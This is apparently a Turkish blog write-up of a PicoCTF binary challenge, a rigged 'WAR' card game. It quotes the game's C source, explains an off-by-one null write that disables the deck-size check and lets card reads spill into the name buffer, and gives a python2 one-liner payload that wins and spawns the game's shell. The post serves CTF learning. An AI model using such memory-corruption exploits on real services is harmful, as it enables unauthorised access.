Cheating on WAR Card Game (PicoCTF Binary125)

Herkese Selamlar,

Uzun süredir blog yazmıyordum. Yazmaya değecek ilginç birşeyler yapmadığımdandır belki de bilemiyorum. Velhasıl, iki gün evvel bir arkadaşım internet üzerinden katıldığı PicoCTF'de bir soruda takılması üzerine benden yardım istedi ve soru üzerinde beraber fikir yürütmeye başladık. Peki nedir PicoCTF?

What is picoCTF?

  • A computer security game for middle and high school students.
  • Challenges centered around a unique storyline where participants must reverse engineer, break, hack, decrypt, or do whatever it takes to solve the challenge.
  • Challenges set up with the intent of being hacked, making it an excellent, legal way to get hands-on experience.
 (Website: https://picoctf.com/)

 Bold ile belirttiÄŸim kısmın tercümesi: "Ortaokul ve lise öğrencileri için hazırlanmış bir bilgisayar güvenliÄŸi oyunu". Bunu neden bastıra bastıra belirttiÄŸimi az sonra zannediyorum ki anlayacaksınız.

Bahsi geçen soruda bizden shell2017.picoctf.com:49182 lokasyonuna bağlanıp çalışan servisi exploit etmemiz isteniyor. Adrese netcat ile bağlandığımızda aşağıdaki gibi bir görüntü ile karşılaşıyoruz.



Karşımıza "WAR" adı verilen bir kart oyunu çıkıyor (https://en.wikipedia.org/wiki/War_(card_game)). Oyundan kısaca bahsetmek gerekirsek bilgisayara karşı oynuyorsunuz, ikinize de 26 karttan oluşan birer deste veriliyor. Oyuna başlarken bir miktar bahis yatırıyorsunuz ve ardından iki destenin en üstlerindeki kartlar açılıyor ve büyük kartı açan parayı alıyor. Oyun bir tarafın parası veya desteler bitene kadar bu şekilde devam ediyor. Şimdi bize verilen bu oyunun kaynak kodlarını inceleyelim.

war.c:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define NAMEBUFFLEN 32
#define BETBUFFLEN 8

typedef struct _card{
    char suit;
    char value;
} card;

typedef struct _deck{
    size_t deckSize;
    size_t top;
    card cards[52];
} deck;

typedef struct _player{
    int money;
    deck playerCards;
} player;

typedef struct _gameState{
  int playerMoney;
  player ctfer;
  char name[NAMEBUFFLEN];
  size_t deckSize;
  player opponent;
} gameState;

gameState gameData;

//Shuffles the deck
//Make sure to call srand() before!
void shuffle(deck * inputDeck){
    card temp;
    size_t indexA, indexB;
    size_t deckSize = inputDeck->deckSize;
    for(unsigned int i=0; i < 1000; i++){
        indexA = rand() % deckSize;
        indexB = rand() % deckSize;
        temp = inputDeck->cards[indexA];
        inputDeck->cards[indexA] = inputDeck->cards[indexB];
        inputDeck->cards[indexB] = temp;
    }
}

//Checks if a card is in invalid range
int checkInvalidCard(card * inputCard){
    if(inputCard->suit > 4 || inputCard->value > 14){
        return 1;
    }
    return 0;
}

//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
    size_t count = 0;
    char c;
    while((c = getchar()) != '\n' && c != EOF){
        if(count < (len-1)){
            buff[count] = c;
            count++;
        }
    }
    buff[count+1] = '\x00';
    return count;
}

//Builds the deck for each player.
//Good luck trying to win ;)
void buildDecks(player * ctfer, player * opponent){
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            ctfer->playerCards.cards[j*4 + i].suit = i;
            ctfer->playerCards.cards[j*4 + i].value = j+2;
        }
    }
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            opponent->playerCards.cards[j*4 + i].suit = i;
            opponent->playerCards.cards[j*4 + i].value = j+9;
        }
    }
    ctfer->playerCards.cards[24].suit = 0;
    ctfer->playerCards.cards[24].value = 8;
    ctfer->playerCards.cards[25].suit = 1;
    ctfer->playerCards.cards[25].value = 8;
    opponent->playerCards.cards[24].suit = 2;
    opponent->playerCards.cards[24].value = 8;
    opponent->playerCards.cards[25].suit = 3;
    opponent->playerCards.cards[25].value = 8;

    ctfer->playerCards.deckSize = 26;
    ctfer->playerCards.top = 0;
    opponent->playerCards.deckSize = 26;
    opponent->playerCards.top = 0;
}

int main(int argc, char**argv){
    char betStr[BETBUFFLEN];
    card * oppCard;
    card * playCard;
    memset(&gameData, 0, sizeof(gameData));
    gameData.playerMoney = 100;
    int bet;

    buildDecks(&gameData.ctfer, &gameData.opponent);
    srand(time(NULL));//Not intended to be cryptographically strong

    shuffle(&gameData.ctfer.playerCards);
    shuffle(&gameData.opponent.playerCards);

    setbuf(stdout, NULL);

    //Set to be the smaller of the two decks.
    gameData.deckSize = gameData.ctfer.playerCards.deckSize > gameData.opponent.playerCards.deckSize
   ? gameData.opponent.playerCards.deckSize : gameData.ctfer.playerCards.deckSize;

    printf("Welcome to the WAR card game simulator. Work in progress...\n");
    printf("Cards don't exchange hands after each round, but you should be able to win without that,right?\n");
    printf("Please enter your name: \n");
    memset(gameData.name,0,NAMEBUFFLEN);
    if(!readInput(gameData.name,NAMEBUFFLEN)){
        printf("Read error. Exiting.\n");
        exit(-1);
    }
    printf("Welcome %s\n", gameData.name);
    while(1){
        size_t playerIndex = gameData.ctfer.playerCards.top;
        size_t oppIndex = gameData.opponent.playerCards.top;
        oppCard = &gameData.opponent.playerCards.cards[oppIndex];
        playCard = &gameData.ctfer.playerCards.cards[playerIndex];
        printf("You have %d coins.\n", gameData.playerMoney);
        printf("How much would you like to bet?\n");
        memset(betStr,0,BETBUFFLEN);
        if(!readInput(betStr,BETBUFFLEN)){
            printf("Read error. Exiting.\n");
            exit(-1);
        };
        bet = atoi(betStr);
        printf("you bet %d.\n",bet);
        if(!bet){
            printf("Invalid bet\n");
            continue;
        }
        if(bet < 0){
            printf("No negative betting for you! What do you think this is, a ctf problem?\n");
           continue;
        }
        if(bet > gameData.playerMoney){
            printf("You don't have that much.\n");
            continue;
        }
        printf("The opponent has a %d of suit %d.\n", oppCard->value, oppCard->suit);
        printf("You have a %d of suit %d.\n", playCard->value, playCard->suit);
        if((playCard->value * 4 + playCard->suit) > (oppCard->value * 4 + playCard->suit)){
            printf("You won? Hmmm something must be wrong...\n");
            if(checkInvalidCard(playCard)){
                printf("Cheater. That's not actually a valid card.\n");
            }else{
                printf("You actually won! Nice job\n");           
                gameData.playerMoney += bet;
            }
        }else{
            printf("You lost! :(\n");
            gameData.playerMoney -= bet;
        }
        gameData.ctfer.playerCards.top++;
        gameData.opponent.playerCards.top++;
        if(gameData.playerMoney <= 0){
            printf("You are out of coins. Game over.\n");
            exit(0);
        }else if(gameData.playerMoney > 500){
            printf("You won the game! That's real impressive, seeing as the deck was rigged...\n");
         system("/bin/sh -i");
            exit(0);
        }

        //TODO: Implement card switching hands. Cheap hack here for playability
        gameData.deckSize--;
        if(gameData.deckSize == 0){
            printf("All card used. Card switching will be implemented in v1.0, someday.\n");
            exit(0);
        }
        printf("\n");
     fflush(stdout);
    };

    return 0;
}

Burada dikkatimizi çeken ilk şey şu satırlar oluyor.
        if(gameData.playerMoney <= 0){
            printf("You are out of coins. Game over.\n");
            exit(0);
        }else if(gameData.playerMoney > 500){
            printf("You won the game! That's real impressive, seeing as the deck was rigged...\n");
         system("/bin/sh -i");
            exit(0);
        } 

Paramızın 500'den fazla olması durumunda oyunu kazanmış oluyoruz ve "ödül" olarak bize bir shell veriyor arkadaş sağolsun :)

"Enee kolaymış yaparım ki ben bunu" diye hayallere dalmayın hemen :)
Dikkatimizi çeken ikinci nokta oyunun hileli olması. Desteler sürekli kaybedeceğiniz şekilde ayarlanıyor :)
//Builds the deck for each player.
//Good luck trying to win ;)
void buildDecks(player * ctfer, player * opponent){
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            ctfer->playerCards.cards[j*4 + i].suit = i;
            ctfer->playerCards.cards[j*4 + i].value = j+2;
        }
    }
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            opponent->playerCards.cards[j*4 + i].suit = i;
            opponent->playerCards.cards[j*4 + i].value = j+9;
        }
    }
    ctfer->playerCards.cards[24].suit = 0;
    ctfer->playerCards.cards[24].value = 8;
    ctfer->playerCards.cards[25].suit = 1;
    ctfer->playerCards.cards[25].value = 8;
    opponent->playerCards.cards[24].suit = 2;
    opponent->playerCards.cards[24].value = 8;
    opponent->playerCards.cards[25].suit = 3;
    opponent->playerCards.cards[25].value = 8;

    ctfer->playerCards.deckSize = 26;
    ctfer->playerCards.top = 0;
    opponent->playerCards.deckSize = 26;
    opponent->playerCards.top = 0;
}

"Good luck trying to win ;)" yorum satırından da anlayacağınız üzere opponent'ın destesindeki bütün kartlar sizin destenizdekilerden büyük. Peki yer miyiz biz böyle numaraları? Yemeyiz..

http://c12.incisozluk.com.tr/res/incisozluk//11500/7/675557_o70f2.jpg


Varan biir: "Off-By-One Bug"

İtlik peşinde olan her insan gibi benim de ilgimi ilk çeken fonksiyon readInput oldu ve incelemeye başladım.
//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
    size_t count = 0;
    char c;
    while((c = getchar()) != '\n' && c != EOF){
        if(count < (len-1)){
            buff[count] = c;
            count++;
        }
    }
    buff[count+1] = '\x00';
    return count;
}

"properly terminates the string" diyen arkadaşı üç hayırla uğurladıktan sonra burada yanlış gidenin ne olduğuna bakalım. Fonksiyonumuzun iki adet parametresi bulunuyor; girdimizi tutacak olan değişkenin adresi buff, ve alınacak girdinin maksimum uzunluğu len. Fonksiyon içinde de newline veya EOF gelene kadar girdimizi karakter karakter alacak bir döngü var. Döngü her adımda değişkenin indisini temsil eden count değişkeninin len-1'den küçük olup olmadığını kontrol ediyor, şayet küçük ise buff[count]'a bizden aldığı karakteri yazıyor. Buraya kadar herşey arif'in manchester'a attığı gol kadar güzel giderken developerımız "ben bide bunun sonuna null-byte koyayım unutur şimdi bu gerizekalılar" demiş ve "buff[count+1] = '\x00'" yazarak bir çuval inciri berbat etmiştir. Fonksiyonumuza len boyutunda bir girdi verdiğimizi düşünelim. Fonksiyon içerisindeki döngü buff[len-1]'e kadar bizim girdiğimiz değerleri yazacak, ardından buff[len]'e yani dizi sınırının dışarısına 0 değerini yazacaktır. Daha da anlamadıysan git az C öğren.

 


Varan ikii: "Ben bitti demeden bitmez"

Peki bu fonksiyon nerelerde kullanılmış? Bakalım.
    printf("Please enter your name: \n");
    memset(gameData.name,0,NAMEBUFFLEN);
    if(!readInput(gameData.name,NAMEBUFFLEN)){
        printf("Read error. Exiting.\n");
        exit(-1);
    }
    printf("Welcome %s\n", gameData.name);

Argümanları neymiş ona da bakalım..
#define NAMEBUFFLEN 32
...
typedef struct _gameState{
  int playerMoney;
  player ctfer;
  char name[NAMEBUFFLEN];
  size_t deckSize;
  player opponent;
} gameState;

gameState gameData; 

gameData.name dizimiz 32 byte olarak tanımlı. Ne tesadüftür ki readInput'a gönderilen max len değeri de 32! Yani bizden adımızı girmemizi istediği kısımda 32 karakterlik bir string girer isek readInput içerisinde gameData.name[32] = 0 ataması yapılacak. "Yauu iyi ama gameData.name[32] adresi nereye denk geliyor?" dediğinizi duyar gibiyim (yok demediyseniz Ctrl+W kombinasyonuyla hemen şimdi diyebilirsiniz). Tahminleri alayım?

Spoiler:
size_t deckSize;

Before:
 

After:

Peki deckSize'ı sıfır yaptıkta bu ne işimize yarayacak? Hemen bakalım gameData.deckSize nerelerde kullanılmış.
        gameData.deckSize--;
        if(gameData.deckSize == 0){
            printf("All card used. Card switching will be implemented in v1.0, someday.\n");
            exit(0);
        }

Oynadığımız her turun sonunda kartların bitip bitmediğini kontrol ederken bu değişkenin kullanıldığını görüyoruz. Oyun daha başlamadan önce biz bu değişkenin değerini sıfır yaparsak ve ardından da kontrol noktasına geldiğinde önce bu değer 1 azaltılıp sonra 0 ile karşılaştırılırsa ne olur? (Matematiği yetmeyenler Ctrl+W kombinasyonuyla ücretsiz "Math for Dummies" eğitim seti kazanabilirler). Doğru bildiniz, deckSize negatif değerlere düşeceğinden kartlarımız bitse dahi oynamaya devam edebileceğiz (paramız bitene kadar tabii).

Varan üüç: "Where The F@#K Am I?"

Şimdi oyunun asıl işlediği yere bakalım.
        size_t playerIndex = gameData.ctfer.playerCards.top;
        size_t oppIndex = gameData.opponent.playerCards.top;
        oppCard = &gameData.opponent.playerCards.cards[oppIndex];
        playCard = &gameData.ctfer.playerCards.cards[playerIndex];
        ...
        if((playCard->value * 4 + playCard->suit) > (oppCard->value * 4 + playCard->suit)){
            printf("You won? Hmmm something must be wrong...\n");
            if(checkInvalidCard(playCard)){
                printf("Cheater. That's not actually a valid card.\n");
            }else{
                printf("You actually won! Nice job\n");           
                gameData.playerMoney += bet;
            }
        }else{
            printf("You lost! :(\n");
            gameData.playerMoney -= bet;
        } 
        ...
        gameData.ctfer.playerCards.top++;
        gameData.opponent.playerCards.top++;

gameData yapısı içerisinde opponent (karşı taraf) ve ctfer (biz) adında iki tane yapı bulunuyor ve bunların da altında playerCards.cards adında oyuncuya ait kartların yer aldığı dizi yapısı var. Yani kısacası gameData.opponent.playerCards.cards karşı tarafın destesi, gameData.ctfer.playerCards.cards ise bizim destemiz. Destenin en üstündeki kartı belirlemek için de playerCards.top adlı bir indis değişkeni kullanılıyor.

Kartlar bittikten sonra da oynamaya devam edebiliyorsak ve bu indisler de sürekli artmaya devam ediyorsa, bir süre sonra bunlar da cards dizisinin dışına çıkacak ve hafızada ne değer varsa onları kart değerleri olarak almaya başlayacaktır. Bu aşamadan sonra hileli desteler artık yok, işte kazanma şansımız! Ama nasıl??
typedef struct _deck{
    size_t deckSize;
    size_t top;
    card cards[52];
} deck;

typedef struct _player{
    int money;
    deck playerCards;
} player;

typedef struct _gameState{
  int playerMoney;
  player ctfer;
  char name[NAMEBUFFLEN];
  size_t deckSize;
  player opponent;
} gameState;

gameState gameData;
Yapı içerisindeki değişkenlerin tanımlanma sırasına bakarsak, bu yapının hafızada alacağı şekil basitleştirilmiş haliyle aşağıdakine benzer olacaktır (kafalar karışmasın diye aralardaki diğer değişkenleri grafiğe eklemedim).
 

Koda baktığımızda kartları tutan dizilerin 52 byte olacak şekilde tanımlandığını görüyoruz (her bir kart 2 byte yer kaplıyor). Kartlar bittikten sonra oyunu oynamaya devam ettiğimizde (yani 26 karttan sonra) bizim ve rakibimizin kartlarının değerleri sıfır olacaktır.

 

Bir süre daha oynamaya devam ettiğimizde ise (yine 26 karttan sonra) playerIndex artık bizim isim girdiğimiz name değişkenine point etmeye başlayacak ve bizim kartlarımız o değişkenin içerisinde yer alan değerleri almaya başlayacak.


Tabii burada kartlarımızın değeri tanımlanan aralıktan büyük olduğu için checkInvalidCard fonksiyonuna takılıyor ve oyunu kazanamıyoruz.
//Checks if a card is in invalid range
int checkInvalidCard(card * inputCard){
    if(inputCard->suit > 4 || inputCard->value > 14){
        return 1;
    }
    return 0;
}

İsim kısmına girdi olarak 32 adet '\x01' karakteri girerek bu kontrolü aşabiliriz. Artık rakibimizin kartları 0 iken bizim kartlarımız 1 olacak ve kazanmaya başlayacağız. Tek yapmamız gereken doğru miktarda bahis oynayıp 500'ü geçmek.







 Ä°Ã§indekiler:
  1. "\x01"*32 + "\n" (isim kısmına gireceğimiz değer)
  2. "1\n"*52 (ilk 52 bahisi kaybedeceÄŸiz, kalan para 48)
  3. "48\n"*10 (akıyo bu akşam maşallah)
Bu çıktıyı üretecek tek satırlık bir python kodu yazdım şu şekil:
python2 -c 'print chr(1)*32 + "\n" + "1\n"*52 + "48\n"*10'

Åžimdi bu kodun çıktısını sunucuya baÄŸlanıp gönderelim. 



Åžimdi yazının başına dönün ve bold ile yazdığım cümleyi tekrar okuyun. 
A computer security game for middle and high school students. 

Bir sonraki yazıda görüşmek üzere.

Yorumlar

  1. olayı anlamadım ben yani or middle and high school students. derken !?

    YanıtlaSil

Yorum Gönder

Bu blogdaki popüler yayınlar

DKHOS - Rev300 Çözümü

Part 1: Tersinden Tersine Mühendisliğe Giriş

Bir Güvenlikçi, Virüs ile Karşılaşırsa